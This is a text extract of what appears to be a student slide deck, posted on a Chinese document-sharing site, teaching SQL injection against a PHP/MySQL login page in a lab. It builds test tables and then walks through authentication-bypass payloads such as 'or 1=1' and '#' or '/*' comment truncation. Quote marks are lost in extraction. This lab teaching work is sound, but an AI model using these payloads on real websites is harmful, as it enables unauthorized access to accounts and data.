SQL注入(PHP网站).ppt_第1页
SQL注入(PHP网站).ppt_第2页
SQL注入(PHP网站).ppt_第3页
SQL注入(PHP网站).ppt_第4页
SQL注入(PHP网站).ppt_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、SQL注入之PHP网站,主讲:周飞虎 110609127 组员:张伟强 110609124 赵博 110609125 赵正旭110609126 周田青110609129,一SQL注入攻击,1什么是SQL注入攻击 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。 2为何会有SQL注入攻击 很多电子商务应用程序都使用数据库来存储信息。不论是产品信息,账目信息还是其它类型的数据,数据库都是Web应用环境中非常重要的环节。SQL命令就是前端Web和后端数据库之间的接口,使得数据可以传递到Web应用程序,也可以从其中发送出来。需

2、要对这些数据进行控制,保证用户只能得到授权给他的信息。可是,很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。 因为SQL查询经常用来进行验证、授权、订购、打印清单等,所以,允许攻击者任意提交SQL查询请求是非常危险的。通常,攻击者可以不经过授权,使用SQL输入从数据库中获取信息。,PHP访问MySQL简单实例,1. 创建隶属test数据库的user表 (1)启动mysql服务 在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空

3、。 service mysql start 可通过如下命令查看mysql服务是否启动 成功。 service mysql status,(2)创建user数据库表 在控制台中输入mysql,进入mysql客户端控制台(mysql)。 *选择工作数据库test(缺少状态下,test数据库已被创建)。 use test; *创建user数据库表 *插入两条数据信息 我这里执行的是脚本语言 rootExpNIS # cd /opt/ExpNIS/HostSec-Lab/Projects/ example/ step1/ step2/ step4/,rootExpNIS step1# ./create

4、_table_user mysql EOF use test; CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT , password varchar(20) NOT NULL DEFAULT ,PRIMARY KEY(userid)TYPE=MyISAM AUTO_INCREMENT=3; INSERT INTO user VALUES(1, angel, mypass); INSERT INTO user VALUES(2, lblis, yourp

5、ass); EOF ,rootExpNIS step2# ./create_table_file mysql EOF use test; CREATE TABLE file(fileid int(11) NOT NULL AUTO_INCREMENT, title varchar(32) NOT NULL DEFAULT , author varchar(32) NOT NULL DEFAULT ,summary varchar(512) NOT NULL DEFAULT ,PRIMARY KEY(fileid) TYPE=MyISAM AUTO_INCREMENT=3; INSERT INT

6、O file VALUES(1, honeypot paper, , honeypot and honeynet); INSERT INTO file VALUES(2, snort paper, , snort intrusion detection); INSERT INTO file VALUES(3, snort based network, ppi, another snort paper); INSERT INTO file VALUES(4, iptables+snort, no name, intelligence ids);,rootExpNISste4# ./create_

7、table_register mysql EOF use test; CREATE TABLE register(userid int NOT NULL AUTO_INCREMENT, username varchar(32) NOT NULL , password varchar(32) NOT NULL,homepage varchar(255) NOT NULL,userlevel int DEFAULT 3 NOT NULL,PRIMARY KEY(userid); INSERT INTO register VALUES(0, 大海, dahai, , 3); INSERT INTO

8、register VALUES(0, 碧空, bikong, , 1); INSERT INTO register VALUES(0, 高山, gaoshan, , 3); INSERT INTO register VALUES(0, 田野, tianye, , 2);,查看数据库表,2. 编写PHP脚本查询user数据库表 *编写access.php脚本,内容见附件acces.php.txt文档 *从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。 *单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交: 4/acces

9、s.php?username=a ngel&password=mypass Web页面会提示“登录成功”。 写出此时PHP脚本中具体的SQL查询语句:SQL查询: SELECT * FROM user WHERE username=angel AND password=mypass 见下图,3. 实施SQL注入 (1)在URL地址栏中提交:4/access.php?username=angel or 1=1 注入是否成功? 登录失败 写出此时PHP脚本中具体的SQL查询语句: SQL查询: SELECT * FROM user WHERE username=a

10、ngel or 1=1 AND password= (2)在URL地址栏中提交: 4/access.php?username=angel or 1=1 注入是否成功? 登陆成功 写出此时PHP脚本中具体的SQL查询语句: SQL查询: SELECT * FROM user WHERE username=angel or 1=1 AND password= 通过分析SQL查询语句解释实验现象:where 后面如果有or的条件,则or自动会把左右的查询条件分开,原因就是:and的执行优先级最高 。,(3)在URL地址栏中提交: 4

11、/access.php?username=angel%23 注入是否成功? 登录成功 写出此时PHP脚本中具体的SQL查询语句: SQL查询: SELECT * FROM user WHERE username=angel# AND password= 此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0 x23。 (4)Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。 登录成功 SQL查询: SELECT *

12、 FROM user WHERE username=angel/* AND password= URL:4/access.php?username=angel/*,(5)步骤(2)通过向username注入逻辑or运算,下面请设计单独向password注入逻辑运算,要求在只需知晓用户名的情况下实现登录: SQL语句:SELECT * FROM user WHERE username= AND password= or 1=1 and username=angel URL:4/access.php?username=&passw

13、ord= or 1=1 and username=angel (6)下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。 提示:通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。 SQL语句: SELECT * FROM user WHERE username= AND password= or 1=1 and userid=1 URL: 4/access.php?username=&password= or 1=1 and userid=1,google黑客,关键字:Powered by Copyright ?201

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论